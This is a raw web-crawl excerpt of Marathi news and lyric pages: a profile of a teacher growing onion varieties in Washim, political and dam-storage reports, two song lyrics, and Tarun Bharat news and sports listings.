क्विंटल असे उत्पादन त्यांना मिळते. सर्व पिकांना पुरेसे पाणी मिळण्यासाठी चार एकरांवर ठिबक सिंचन केले आहे. कांद्याला मिनी स्प्रिंकलरने पाणी दिले जाते. हलक्या जमिनीत धरणातील गाळ मिसळल्याने सोयाबीन, तूर, कापूस या पिकांच्या उत्पादनात चांगली वाढ झाली आहे.\nनोकरीचा ताळमेळ बसवून शेती नियोजन\nशेखर महाकाळ हे १९९६ पासून वाशीम जिल्ह्यातील कोठारी येथील माध्यमिक शाळेत शिक्षक म्हणून कार्यरत अाहेत. शनिवार, रविवारी जो वेळ मिळतो त्यातून ते या शेतीचे व्यवस्थापन करतात. वेळ मिळाला की शेतात जाऊन पीक पाहणी करतात. कुठलीही अडचण अाली की कांदा व लसूण संशोधन संचालनालयातील डॉ. विजय महाजन, डॉ. घाडगे यांच्याशी चर्चा करतात. त्यानंतर भाऊ उत्तमराव महाकाळ, पुतण्या विकास महाकाळ आणि शेती नियोजन पाहणारे दशरथ कणसे यांच्या मदतीने पिकाचे व्यवस्थापन केले जाते. इतर पिकांबाबतही शेखर हे डोळसपणे व्यवस्थापन करतात. भाऊ, पुतण्या तसेच मजुरांच्या मदतीने शेती नियोजन शक्य होत असल्याचे त्यांनी सांगितले. कांदा व लसूण संशोधन संचालनालयाने विकसित केलेल्या कांद्याच्या जातीचे बियाणे आणून कांदा तयार करणे अाणि पुढे रब्बी हंगामात हाच कांदा बीजोत्पादनाकरीता लागवड करण्याचा शेखर यांचा मानस आहे. संशोधन केंद्राने विकसित केलेल्या जातींचा शेतकऱ्यांत प्रसार करून दर्जेदार बियाणे तयार करण्याचा त्यांचा हेतू आहे. त्यांच्या या कार्याची दखल घेत कांदा व लसूण संशोधन संचालनालयाने त्यांचा गौरवदेखील केला आहे.\nपीक बदल ठरला फायद्याचा...\nमहाकाळ यांचे कुटुंब खरिपात कापूस, सोयाबीन, तूर या पारंपरिक पिकांची लागवड करत होते. परंतू शेखर यांनी या पीक पद्धतीत बदल करण्याचा निर्णय केला. शेखर हे ॲग्रोवनचे नियमित वाचक. ॲग्रोवनमध्ये राजगुरुनगर (जि. पुणे) येथील कांदा व लसूण संशोधन संचालनालयातील तज्ज्ञ डॉ. विजय महाजन आणि डॉ. शैलेंद्र घाडगे यांचा कांदा पीक सल्ला वाचनात अाला. त्यात सांगितलेल्या पद्धती, फायदे वाचून शेखर यांनी तीन वर्षापूर्वी सुधारित पद्धतीने खरीप कांदा लागवडीचे नियोजन केले.\nपीक बदलाबाबत शेखर महाकाळ म्हणाले की, मी पारंपरिक पिकांच्या एेवजी बाजारपेठेची मागणी लक्षात घेऊन पीक बदल केला. मी तज्ज्ञांशी संपर्क करीत खरिपातील कांदा लागवडीला तीन वर्षांपासून सुरवात केली.\nलागवडीसाठी कांदा व लसूण संशोधन संचालनालयाने विकसित केलेल्या पांढऱ्या कांद्याच्या भीमा शुभ्रा, भीमा श्वेता आणि लाल कांद्याच्या भीमा सुपर, भीमा रेड या जातींचे बियाणे खरेदी केले. गेल्या तीन वर्षांपासून मी प्रत्येकी एक एकरावर एका जातीची लागवड करतो. गादी वाफा पद्धतीने रोपवाटिका तयार करून ४५ ते ५० दिवसांची रोपे झाल्यावर गादीवाफा पद्धतीनेच रोपांची लागवड जुलैचा शेवटचा आठवडा किंवा आॅगस्टमधील पहिल्या आठवड्यात केली जाते. चार फूट रुंदीचा गादीवाफा ठेवला जातो. लागवडीपूर्वी रोेपे बुरशीनाशकात बुडवून गादीवाफ्यावर लावली जातात.\nमाती परीक्षणाचा अहवाल आणि तज्ज्ञांच्या सल्ल्याने खतमात्रा, पाणी व्यवस्थापन आणि कीड, रोग नियंत्रणाचे काटेकोर नियोजन केले.\nसाधारणपणे १०० ते ११० दिवसांत म्हणजेच नोव्हेंबर, डिसेंबरमध्ये मला एकरी ८० क्विंटलपर्यंत उत्पादन मिळते. गेल्या हंगामात प्रति क्विंटल तीन हजाराचा दर मिळाला. हा कांदा बीजोत्पादन कंपनीने खरेदी केला. मी कांदा व लसूण संशोधन संचालनालयाने विकसित केलेले बियाणे वापरत असल्याने शेतकऱ्यांमध्ये विश्वास तयार झाला. त्यामुळे शेतकरी माझ्याकडून कांदा खरेदी करतात. यंदाच्या वर्षी मी तीन एकरांवर भीमा शुभ्रा, भीमा सुपर आणि भीमा रेड या जातींची लागवड केली आहे.\nदुष्काळातही शेतकरी आशावादी ; ज्वारीची पेरणी सुरू\nकरमाळा : करमाळा तालुक्‍यात पावसाने ओढ दिली आहे. खरिपाची पिके अक्षरशः करपून गेली. काहीही खरीप हाती लागले नाही. तरीही आशावाद जीवंत ठेवत शेतकऱ्यांनी...\nगोवा : आमदार गावकरांचा वन महामंडळ अध्यक्षाचा राजीनामा\nपणजी : राज्यातील भाजप सरकारला पाठिंबा दिलेले सांगेचे अपक्ष आमदार प्रसाद गावकर यांनी आज गोवा वन विकास महामंडळाच्या अध्यक्षपदाचा राजीनामा दिला...\nपक्षीमित्रांनी दिले सातभाई पक्षाला जीवदान\nनिजामपूर-जैताणे (धुळे) : माळमाथा परिसरातील लोणखेडे (ता.साक्री) येथील जिल्हा परिषद शाळेचे प्राथमिक शिक्षक, पक्षीमित्र राकेश जाधव, गोकुळ पाटील व कढरे (...\nसोलापुरात शायनिंग महाराष्ट्र महाप्रदर्शन\nसोलापूर : राज्यसभेचे खासदार अमर साबळे यांच्या संकल्पनेतून दिल्ली येथील सांसा फाऊंडेशनच्यावतीने बुधवार 26 ते शुक्रवार 28 सप्टेंबर या कालावधीत गांधीनगर...\nशेतकऱ्यांची बाजार समितीबद्दलची विश्वासार्हता वाढली : समाधान आवताडे\nमंगळवेढा : दुष्काळसदृष्य तालुक्यातील शेतकऱ्यांच्या अडचणी ओळखून कृषी उत्पन्न बाजार समितीने शेतकर्‍यांसाठी अनेक हिताच्या योजना राहिल्याने...\nरिफंड आणि इतर आर्थिक व्यवहार\nरिफंड आणि इतर आर्थिक व्यवहार\nतनिष्का स्त्री प्रतिष्ठा अभियान\nतनिष्का स्त्री प्रतिष्ठा अभियान\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nसकाळ इंटरनॅशनल लर्निंग सेंटर\neSakal च्या बातम्यांसाठी सबस्क्राईब करा\neSakal च्या महत्वाच्या बातम्यांची आणि ब्रेकिंग न्यूजची नोटिफिकेशन्स तत्काळ मिळविण्यासाठी सबस्क्राईब करा.\n* आपण नोटिफिकेशनसंबंधी हवे ते बदल ब्राऊजर सेटिंग्जमध्ये जाऊन कधीही करू शकता.\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00369.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.esakal.com/marathwada/babajani-durrani-will-fill-application-candidature-128039", "date_download": "2018-09-25T17:48:40Z", "digest": "sha1:3RJEKSDPWV5KKK5DZH5D2JBENZL3UVIK", "length": 11743, "nlines": 178, "source_domain": "www.esakal.com", "title": "Babajani Durrani will fill the application for candidature बाबाजानी दुर्राणी उमेदवारी अर्ज भरणार | eSakal", "raw_content": "\nबाबाजानी दुर्राणी उमेदवारी अर्ज भरणार\nमंगळवार, 3 जुलै 2018\nपरभणी : आगामी विधान परिषद निवडणुकीसाठी राष्ट्रवादी काँग्रेसच्यावतीने माजी आमदार बाबाजानी दुर्राणी हे बुधवारी (ता.4) दुपारी एक वाजता नागपूर येथे आपला उमेदवारी अर्ज दाखल करणार आहेत.\nआगामी विधान परिषद निवडणुक या महिण्यात होणार आहे. राष्ट्रवादी काँग्रेस पक्षाच्यावतीने माजी आमदार बाबाजानी दुर्राणी हे मंगळवारी (ता.4) दुपारी एक वाजता त्यांचा उमेदवारी अर्ज भरणार आहेत. नागपूर विधान भवनातील निवडणुक निर्णय अधिकारी विलास आठवले यांच्याकडे हा अर्ज सादर केला जाईल.\nपरभणी : आगामी विधान परिषद निवडणुकीसाठी राष्ट्रवादी काँग्रेसच्यावतीने माजी आमदार बाबाजानी दुर्राणी हे बुधवारी (ता.4) दुपारी एक वाजता नागपूर येथे आपला उमेदवारी अर्ज दाखल करणार आहेत.\nआगामी विधान परिषद निवडणुक या महिण्यात होणार आहे. राष्ट्रवादी काँग्रेस पक्षाच्यावतीने माजी आमदार बाबाजानी दुर्राणी हे मंगळवारी (ता.4) दुपारी एक वाजता त्यांचा उमेदवारी अर्ज भरणार आहेत. नागपूर विधान भवनातील निवडणुक निर्णय अधिकारी विलास आठवले यांच्याकडे हा अर्ज सादर केला जाईल.\nदुर्राणी यांच्या अर्जावर सुचक म्हणून माजी उपमुख्यमंत्री अजित पवार यांच्यासह इतर आमदारांच्या सुचक म्हणून स्वाक्षऱ्या आहेत. अजित पवार, माजी उपमुख्यमंत्री छगन भुजबळ, सुनिल तटकरे या मोठ्या नेते मंडळीसह राष्ट्रवादी काँग्रेसचे राज्यातील विधानसभा व विधान परिषदेचे सर्व आमदार यावेळी उपस्थित राहणार आहेत.\nबाळासाहेब खोटे बोलतात : गुलाबराव गावंडे\nअकोला : राष्ट्रवादी काँग्रेसचे सर्वेसर्वा आणि महाराष्ट्रातील बहुजनांचे नेते शरद पवार यांच्यामुळेच भारिप बहुजन महासंघाचे नेते अॅड. बाळासाहेब...\nउदयनराजेंच्या उमेदवारीवर शरद पवारांचे स्पष्टीकरण\nपुणे- राष्ट्रवादी काँग्रेसचे खासदार उदयनराजे यांच्या उमेदवारीला साताऱ्यातील पक्षाच्या आमदारांचा विरोध नसल्याचे स्पष्टीकरण पक्षाचे अध्यक्ष शरद पवार...\nशरद पवारांनी सोडविली दोन वाहिन्यांमधील 'कुस्ती'\nपुणे- कुस्ती स्पर्धा भरविण्यावरुन दोन मराठी वाहिन्यांमध्ये सुरु असलेल्या वादावर शरद पवार यांनी मध्यस्थी केली आहे. या दोन्ही वाहिन्यांनी कुस्तीगीर...\nउदयनराजेंबाबत शरद पवारांचा 'यॉर्कर' \nसातारा : उदयनराजेंच्या उमेदवारीला सातारा जिल्ह्यातील राष्ट्रवादीच्या आमदारांचा विरोध अशा बातम्या पसरत आहेत. तोपर्यंतच राष्ट्रवादी काँग्रेसचे...\nगोवा : आमदार गावकरांचा वन महामंडळ अध्यक्षाचा राजीनामा\nपणजी : राज्यातील भाजप सरकारला पाठिंबा दिलेले सांगेचे अपक्ष आमदार प्रसाद गावकर यांनी आज गोवा वन विकास महामंडळाच्या अध्यक्षपदाचा राजीनामा दिला...\nरिफंड आणि इतर आर्थिक व्यवहार\nरिफंड आणि इतर आर्थिक व्यवहार\nतनिष्का स्त्री प्रतिष्ठा अभियान\nतनिष्का स्त्री प्रतिष्ठा अभियान\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nसकाळ इंटरनॅशनल लर्निंग सेंटर\neSakal च्या बातम्यांसाठी सबस्क्राईब करा\neSakal च्या महत्वाच्या बातम्यांची आणि ब्रेकिंग न्यूजची नोटिफिकेशन्स तत्काळ मिळविण्यासाठी सबस्क्राईब करा.\n* आपण नोटिफिकेशनसंबंधी हवे ते बदल ब्राऊजर सेटिंग्जमध्ये जाऊन कधीही करू शकता.\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00369.warc.wet.gz", "language": "mr", "language_score": 0.97, "bucket": "all"} {"url": "http://www.esakal.com/pune/temghar-dam-water-capacity-127206", "date_download": "2018-09-25T17:22:03Z", "digest": "sha1:7JEIRH5HAFG6KQOHXN5XMLB3AFO6Z55C", "length": 11603, "nlines": 173, "source_domain": "www.esakal.com", "title": "Temghar dam water capacity टेमघर धरणात पाणी साठण्यास सुरवात | eSakal", "raw_content": "\nटेमघर धरणात पाणी साठण्यास सुरवात\nशनिवार, 30 जून 2018\nटेमघर धरणाची दुरूस्ती करण्यासाठी धरण मागील वर्षी जानेवारी 2017 मध्ये पूर्ण रिकामे करण्यात आले होते. यंदाच्या पावसाळी वर्षात या धरणात आज 0.10 टीएमसी उपयुक्त पाणीसाठा जमा होण्यास सुरवात झाली आहे.\nखडकवासला : टेमघर धरणाची दुरूस्ती करण्यासाठी धरण मागील वर्षी जानेवारी 2017 मध्ये पूर्ण रिकामे करण्यात आले होते. यंदाच्या पावसाळी वर्षात या धरणात आज 0.10 टीएमसी उपयुक्त पाणीसाठा जमा होण्यास सुरवात झाली आहे.\nटेमघर धरण हे मुठा नदीवर बांधले असून ते मुळशी तालुक्यात आहे. या धरणातून खडकवासला धरणात पाणी सोडले जाते. टेमघर धरणाची उपयुक्त पाणी साठवण क्षमता ही 3.70 टीएमसी आहे. आज धरणात 0.100 टीएमसी पाणी जमा झाले. म्हणजे शनिवारी सकाळपर्यंत धरणात 2.60 टक्के पाणी साठा आहे. टेमघर परिसरात एक जून पासून 483 मिलिमीटर पाऊस पडला आहे. शुक्रवारी सकाळी या धरणात 0.050, संध्याकाळी 0.07तर शनिवारी सकाळी 0.10 टीएमसी पाणी जमा झाले आहे.\nखडकवासला धरणात एकूण 0.50टीएमसी म्हणजे 25.50 टक्के पाणीसाठा जमा आहे. पानशेत धरणात 2.75 टीएमसी म्हणजे 25.85 टक्के पाणी साठले आहे. वरसगाव धरणाच्या गळतीचे काम सुरू असल्याने हे धरण देखील मागील वर्षी रिकामे करण्यात आले. त्यात अद्याप उपयुक्त पाणी साठा जमा झालेला नाही. चार ही धरणात मिळून 3.35 टीएमसी म्हणजे 11.50 टक्के पाणीसाठा आहे.\nशुक्रवार सकाळी सहा ते शनिवार सकाळी सहा वाजेपर्यंत धरण परिसरात पाऊस पडला पण त्याला जोर नव्हता. खडकवासला धरणात 1 मिलिमीटर पाऊस पडला. पानशेत येथे 10, वरसगाव 9 आणि टेमघर येथे 39 मिलिमीटर पाऊस पडल्याची नोंद झाली आहे.\nदुष्काळातही शेतकरी आशावादी ; ज्वारीची पेरणी सुरू\nकरमाळा : करमाळा तालुक्‍यात पावसाने ओढ दिली आहे. खरिपाची पिके अक्षरशः करपून गेली. काहीही खरीप हाती लागले नाही. तरीही आशावाद जीवंत ठेवत शेतकऱ्यांनी...\nतहसिलचा ताबा घेऊन तेथे आंदोलन करू असा इशारा : राजू देसले\nनांदगाव : तालुक्यातील प्रशासकीय यंत्रणा उदासीन असल्याने न्यायिक हक्काच्या मागण्यासाठी आज काढण्यात आलेला मोर्चा हा शेवटचा असून यापुढे मोर्चा...\nभिमा कारखाना दहा लाख मेट्रीक टन ऊसाचे गाळप करणार : खा. धनंजय महाडिक\nमोहोळ : चालू गळीत हंगाम यशस्वी करण्याची जबाबदारी ही अधिकारी व कर्मचाऱ्यांवर आहे, सध्या दुष्काळाचे सावट आहे, मात्र उजनी धरण भरल्याने शेतकऱ्यांची...\nमराठवाड्यात रब्बी पेरणीची चिंता\nऔरंगाबाद : दिवसेंदिवस जमिनीतील ओलावा कमी होत चालला असून परतीच्या पावसानेही पाठ फिरवल्याने रब्बी पेरणी करावी कशी अशी धास्ती शेतकऱ्यांना पडली आहे....\nआयआयटीचे 35 बेपत्ता विद्यार्थी सुखरूप\nशिमला : हिमाचल प्रदेशात ट्रेकींगला गेलेले आयआयटीचे 35 विद्यार्थी बेपत्ता होते. हिमाचल प्रदेशातील स्पिती व लाहौल या ठिकाणी हे विद्यार्थी...\nरिफंड आणि इतर आर्थिक व्यवहार\nरिफंड आणि इतर आर्थिक व्यवहार\nतनिष्का स्त्री प्रतिष्ठा अभियान\nतनिष्का स्त्री प्रतिष्ठा अभियान\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nसकाळ इंटरनॅशनल लर्निंग सेंटर\neSakal च्या बातम्यांसाठी सबस्क्राईब करा\neSakal च्या महत्वाच्या बातम्यांची आणि ब्रेकिंग न्यूजची नोटिफिकेशन्स तत्काळ मिळविण्यासाठी सबस्क्राईब करा.\n* आपण नोटिफिकेशनसंबंधी हवे ते बदल ब्राऊजर सेटिंग्जमध्ये जाऊन कधीही करू शकता.\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00369.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "http://www.ganimarathi.com/2011/02/blog-post.html", "date_download": "2018-09-25T17:56:27Z", "digest": "sha1:H4EZ4P5U4Y6DKAB3PLJ2I2S2BBXUCTNJ", "length": 5303, "nlines": 120, "source_domain": "www.ganimarathi.com", "title": "मराठी कविता आणि गाणी: नवरी आली - तुझ्या माझ्या संसाराला आणि काय हवे", "raw_content": "मराठी कविता आणि गाणी\nनवरी आली - तुझ्या माझ्या संसाराला आणि काय हवे\nगो-या गो-या गालावरी चढली लाजची लाली, ग पोरी नवरी आली\nसनईच्या सुरामंदी चौघडा बोलतो दारी, ग पोरी नवरी आली\nसजणी मैत्रिणी जमल्या अंगणी चढली तोरण मांडव दारी\nकिन किन कांकन रुणुझुणु पैंजण सजली नटली नवरी आली\nनवा-या मुलाची आली हळद हि ओली, हळद हि आली लावा नवरीच्या गाली\nहळदीने नवरीचं अंग माखावा, पिवळी करून तिला सासरी पाठवा\nसजणी मैत्रिणी जमल्या अंगणी, चढली तोरण मांडव दारी\nसासरच्या ओढीन हि हसते हळूच गाली ग पोरी नवरी आली\nसनईच्या सुरामंदी चौघडा बोलतो दारी ग पोरी नवरी आली\nआला नवरदेव वेशीला वेशीला ग देवा नारायण आला ग\nमंडपात गणगोत सार बैसल ग पोर थोर ताश्या वाजी र\nसासरी मिळू दे तुला माहेराची माया, माहेराच्या मायेसंग सुखाची ग छाया\nभरुनीया आल डोळ जड जीव झाला, जड जीव झाला लेक जी सासरा\nकिन किन कांकन रुणुझुणु पैंजण, सजली नटली नवरी आली\nआनंदाच्या सारी तुझ्या बरसू दे घरी दरी, ग पोरी सुखाच्या सरी\nसनईच्या सुरामंदी चौघडा बोलतो दारी ग पोरी नवरी आली\nआला नवरदेव वेशीला वेशीला ग देवा नारायण आला ग\nमंडपात गणगोत सार बैसल ग पोर थोर तश्या वाजी र\nचित्रपट : तुझ्या माझ्या संसाराला आणि काय हवे\nसंगीत : अजय अतुल\nस्वर : योगिता गोडबोले, प्राजक्ता रानडे\nगीत : गुरु ठाकूर\nश्रावण मासी हर्ष मानसी\nराजा शिवछत्रपती मालिकेचे शीर्षकगीत\nनवरी आली - तुझ्या माझ्या संसाराला आणि काय हवे\nआताशा.. असे हे - आयुष्यावर बोलू काही\nतुझ्या रूपाच - ख्वाडा\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00369.warc.wet.gz", "language": "mr", "language_score": 0.72, "bucket": "all"} {"url": "http://www.ganimarathi.com/2018/04/blog-post_4.html", "date_download": "2018-09-25T17:56:44Z", "digest": "sha1:OJ3ECVTLF465ZCW6OGAFY5CT4KKOSRZH", "length": 4968, "nlines": 127, "source_domain": "www.ganimarathi.com", "title": "मराठी कविता आणि गाणी: तूफ़ान आलया", "raw_content": "मराठी कविता आणि गाणी\nएकजुटिन पेटल रान तूफान आलया\nकाळ्या भुईच्या भेटीला हे आभाळ आलया\nभेगाळ माय मातीच्या ह्या डोळ्यात जागलीया आस\nघेऊन हात हातामंदि घेतला लेकरांनी ध्यास\nलई दिसानी भारल्यावानी शिवार झालया\nएकजुटिन पेटल रान तूफान आलया\nकाळ्या भुईच्या भेटीला हे आभाळ आलया ||\nपिचलेला इझलेला टाहो कधी ना कुणा कळला\nतळमळालीस तू करपुनि हिरवा पदर तुझा जळला\nछळ केला पिढीजात तुझा ग उखडून वनराई\nअपराध किती झाले पण आता शरण तुला आई\nनभ पाझरताती जलधन सारे झीरपु तुझ्या ठाई\nमग अरपुनि आता हिरवा शालू देऊ तुज आई\nउपरतिन आलिया जाण जागर झालया\nएकजुटिन पेटल रान तूफान आलया\nकाळ्या भुईच्या भेटीला हे आभाळ आलया ||\nजरी रुजलो उदरात तुझ्या कूशीत तुझ्या घड़लो\nस्वार्थाचे तट बांधत सुटलो अन वैरी तुझे ठरलो\nचालवुनि वैराचे नांगर नासवाली माती\nछिन्न तुझ्या देहाची ही चाळण उरली आता हाती\nआम्ही भांडण फुकाचे मिटवु सारे आज तुझ्या पाई\nमग अरपुन आता हिरवा शालू देऊ तुज आई\nउपरतिन आलिया जाण जागर झालया\nएकजुटिन पेटल रान तूफान आलया\nकाळ्या भुईच्या भेटीला हे आभाळ आलया ||\nकार्यक्रम - तूफ़ान आलया\nस्वर - अजय गोगावले , किरण राव\nसंगीत - अजय अतुल\nगीत - गुरु ठाकुर\nश्रावण मासी हर्ष मानसी\nराजा शिवछत्रपती मालिकेचे शीर्षकगीत\nनवरी आली - तुझ्या माझ्या संसाराला आणि काय हवे\nआताशा.. असे हे - आयुष्यावर बोलू काही\nतुझ्या रूपाच - ख्वाडा\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00369.warc.wet.gz", "language": "mr", "language_score": 0.72, "bucket": "all"} {"url": "http://www.tarunbharat.com/news/category/national/page/5", "date_download": "2018-09-25T17:17:32Z", "digest": "sha1:LV7OUYRL7CDVIX3G4H2KUGG5SAUCZ5YX", "length": 9652, "nlines": 50, "source_domain": "www.tarunbharat.com", "title": "राष्ट्रीय-आंतरराष्ट्रीय Archives - Page 5 of 1095 - तरुण भारत | तरुण भारत", "raw_content": "\nYou are here: Home » राष्ट्रीय-आंतरराष्ट्रीय\nमध्यप्रदेशात भाजप कार्यकर्त्यांचा ‘महाकुंभ’\n12 लाख कार्यकर्त्यांची असणार उपस्थिती : भाजपकडून जोरदार तयारी वृत्तसंस्था/ भोपाळ पंतप्रधान नरेंद्र मोदी मंगळवारी म्हणजेच 25 सप्टेंबर रोजी भोपाळ दौऱयावर असतील. मध्यप्रदेश भाजपकडून आयोजित कार्यकतां महाकुंभात ते सहभागी होणार आहेत. पंडित दीन दयाळ उपाध्याय यांच्या जयंतीनिमित्त भोपाळमध्ये महाकुंभ आयोजित करण्यात आला आहे. या आयोजनावर भाजप कोटय़वधींचा खर्च करत असल्याचा कयास व्यक्त होतोय. याच कार्यक्रमाच्या माध्यमातून भाजपकडून विधानसभा निवडणुकीच्या ...Full Article\nनिदर्शने, ननना सेवेपासून रोखले\nवृत्तसंस्था/ वायनाड बलात्काराचा आरोपी बिशप प्रँको मुलक्कलच्या अटकेच्या मागणीवरून कोची येथील निदर्शनांमध्ये सामील झाल्यानंतर आपल्याला चर्चच्या सेवेपासून दूर राहण्यास सांगण्यात आल्याचा आरोप सायरो मालाबार कॅथोलिक चर्चच्या एका ननने केला ...Full Article\nपंतप्रधानांकडून आयुष्यमान भारत योजनेचा शुभारंभ\nऑनलाईन टीम /रांची : पंतप्रधान नरेंद्र मोदींनी आयुष्यमान भारत योजनेचा शुभारंभ केला आहे. आयुष्यमान भारत अर्थात पंतप्रधान जन आरोग्य योजना मोदी सरकारची महत्त्वाकांक्षी योजना आहे. देशातील 10.74 कोटी कुटुंबांना ...Full Article\nयुतीमधील 14 आमदार मुंबईत\nभाजपच्या ‘ऑपरेशन कमळ’चा परिणाम : सरकारवरील गंडांतराची छाया गडद प्रतिनिधी\\ बेंगळूर बेळगाव जिल्हा काँग्रेसमधील वादामुळे निर्माण झालेली कोंडी सोडविण्यात पक्षश्रेष्ठींना यश आलेले असतानाच बंडखोरीचा पवित्रा घेतलेल्या कर्नाटकातील युतीमधील 16 ...Full Article\nपंतप्रधान मोदींचा नवीन पटनायकांवर निशाणा : विमानतळासह अनेक प्रकल्पांचे केले अनावरण वृत्तसंस्था/ तालचर पंतप्रधान नरेंद्र मोदी यांनी ओडिशाच्या तालचर येथील खत प्रकल्पाच्या नुतनीकरण कार्याचे अनावरण केल्यावर सभेला संबोधित करतेवेळी ...Full Article\nपोलिसांच्या हत्येनंतर काश्मीरमध्ये धडक मोहीम\nश्रीनगर : दक्षिण काश्मीरच्या शोपिया जिल्हय़ात हिजबुल आणि लष्कर-ए-तोयबाच्या दहशतवाद्यांकडून तीन पोलीस अधिकाऱयांची हत्या केल्यानंतर भारतीय सैन्याने दक्षिण काश्मीरच्या काही जिल्हय़ात मोठे तपास अभियान सुरू केले आहे. खोऱयात तीन ...Full Article\nराम मंदिराप्रकरणी संतांची बैठक आयोजित\nनवी दिल्ली विश्व हिंदू परिषद लवकरच दिल्ली येथे संतांच्या उच्चस्तरीय समितीची बैठक आयोजित करणार आहे. ही बैठक 5 ऑक्टोबर रोजी आयोजित होणार असून यात राम मंदिर आंदोलनाच्या मुद्यावर चर्चा ...Full Article\nतीव्र चक्रीवादळाचा आठ राज्यांना धोका\nहवामान खात्याकडून सावधानतेचा इशारा भुवनेश्वर : बंगालच्या खोऱयातून तयार झालेल्या चक्रीवादळाने ओडिसाचे मोठय़ा प्रमाणात नुकसान केले आहे. आता हे चक्रीवादळ देशाच्या वेगवेगळय़ा भागात घुसण्याची शक्यता आहे. या नुकसानानंतर ...Full Article\nसैन्यसेवा टाळण्यासाठी जंक फूडचे सेवन\nसेऊल दक्षिण कोरियाची राजधानी सेऊल येथील एका महाविद्यालयाच्या 12 विद्यार्थ्यांनी सैन्यसेवा टाळण्यासाठी अनोखी शक्कल लढविली आहे. या सर्व विद्यार्थ्यांनी दिवसात 5 ते 6 वेळा पिझ्झा तसेच अन्य जंक फूडचे ...Full Article\nनवी दिल्ली / वृत्तसंस्था राफेल फायटर विमानांच्या खेरदी व्यवहारासंबंधी फ्रान्सचे माजी राष्ट्राध्यक्ष फ्रान्सवा ओलांद यांनी केलेल्या महत्वपूर्ण खुलाशानंतर देशातील राजकीय वातावरण तप्त झाले आहे. अनिल अंबानी यांच्या रिलायन्स डिफेन्सला ...Full Article\nपाच सत्रांच्या घसरणीला ब्रेक\nघोटाळे, थकबाकीदारांविरोधात बँकांनी कारवाई करावी\nदूरसंचार क्षेत्रात 6.2 अब्ज डॉलर्सची विदेशी गुंतवणूक\nव्यापारी संघटनांचा 28 रोजी भारत बंद\nभारताची तेल मागणी वाढणार\nजुलैमध्ये 11 लाख रोजगारनिर्मिती\nटँकरच्या भाडय़ातून 310 कोटी लुटले\nपण लक्षात कोण घेतो\nसौंदर्य तर मनांत असते\nCategories Select CategoryAutomobilesleadingnewsNew Category NameTop NewsVideoआवृत्तीउद्योगकोल्हापुरक्रिडागोवापुणेबेळगांवभविष्यमनोरंजनमाहिती / तंत्रज्ञानमुंबईरत्नागिरीराष्ट्रीय-आंतरराष्ट्रीयविविधाविशेष वृत्तसंपादकिय / अग्रलेखसांगलीसातारासिंधुदुर्गस्थानिक\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00369.warc.wet.gz", "language": "mr", "language_score": 0.97, "bucket": "all"} {"url": "http://www.tarunbharat.com/news/category/sport/page/5", "date_download": "2018-09-25T17:15:46Z", "digest": "sha1:Q2ZRIIC7BACU5BWPM56UYOHONNCTSVPT", "length": 9397, "nlines": 50, "source_domain": "www.tarunbharat.com", "title": "क्रिडा Archives - Page 5 of 598 - तरुण भारत | तरुण भारत", "raw_content": "\nनदीमचा गोलंदाजीत नवा विश्वविक्रम\nवृत्तसंस्था /चेन्नई : झारखंडचा फिरकी गोलंदाज शाहबाज नदीमने गुरुवारी दोन दशके अबाधित राहिलेला विक्रम मोडित काढत लिस्ट ए क्रिकेटमध्ये नवा विश्वविक्रम नोंदवला. त्याने विजय हजारे करंडक स्पर्धेतील राजस्थानविरुद्धच्या सामन्यात 10 धावांत 8 बळी घेण्याचा नवा विक्रम नोंदवला. डावखुरा स्पिनर नदीमने आपल्या भेदक माऱयावर राजस्थानचा डाव 28.3 षटकांत केवळ 73 धावांत कोलमडला. नदीमने 10 पैकी 4 निर्धाव षटके टाकत 10 ...Full Article\nसुवर्णपदक विजेत्या राही सरनोबतचा पुण्यात सत्कार\nपुणे / प्रतिनिधी : आशियायी क्रीडा स्पर्धेत 25 मी. पिस्टल नेमबाजीमध्ये सुवर्णपदक विजेत्या राही सरनोबतचा पुण्यात भव्य सत्कार करण्यात येणार आहे. शांतीदूत प्रॉडक्शन व जिल्हा क्रीडा अधिकारी कार्यालय-पुणे यांच्या ...Full Article\nबेलारूसची अझारेन्का शेवटच्या आठ खेळाडूंत\nवृत्तसंस्था /टोकियो : येथे सुरू असलेल्या पॅन पॅसिफिक खुल्या महिलांच्या टेनिस स्पर्धेत बेलारूसची माजी टॉप सीडेड महिला टेनिसपटू व्हिक्टोरिया अझारेंकाने एकेरीची उपांत्यपूर्व फेरी गाठली आहे. बुधवारी झालेल्या सामन्यात अझारेंकाने ...Full Article\nस्वित्झर्लंडचा वावरिंका उपांत्यपूर्व फेरीत\nवृत्तसंस्था /सेंट पीटर्सबर्ग : स्वित्झर्लंडचा टेनिसपटू स्टॅनिलास वावरिंकाने येथे सुरू असलेल्या एटीपी टूरवरील पुरूषांच्या सेंट पीटर्सबर्ग टेनिस स्पर्धेत एकेरीची उपांत्यपूर्व फेरी गाठली आहे. 33 वर्षीय वावरिंकाला या स्पर्धेत वॉईल्ड ...Full Article\nमानांकनातील सुधारणेवर मनिकाचे लक्ष\nवृत्तसंस्था /नवी दिल्ली : दिल्लीची महिला टेबल टेनिसपटू मनिका बात्राचे लक्ष आता मानांकनातील सुधारणेवर राहील. अलिकडे बात्राची आंतरराष्ट्रीय स्पर्धेतील कामगिरी दर्जेदार झाल्याने तिला अर्जुन पुरस्कार देण्यात आला पण प्रशिक्षक ...Full Article\nजखमी नदालला एटीपी स्पर्धा हुकणार\nवृत्तसंस्था /बार्सिलोना : स्पेनचा टॉफ सीडेड टेनिसपटू राफेल नदालला दुखापत झाल्याने त्याला एटीपी टूरवरील काही स्पर्धांना मुकावे 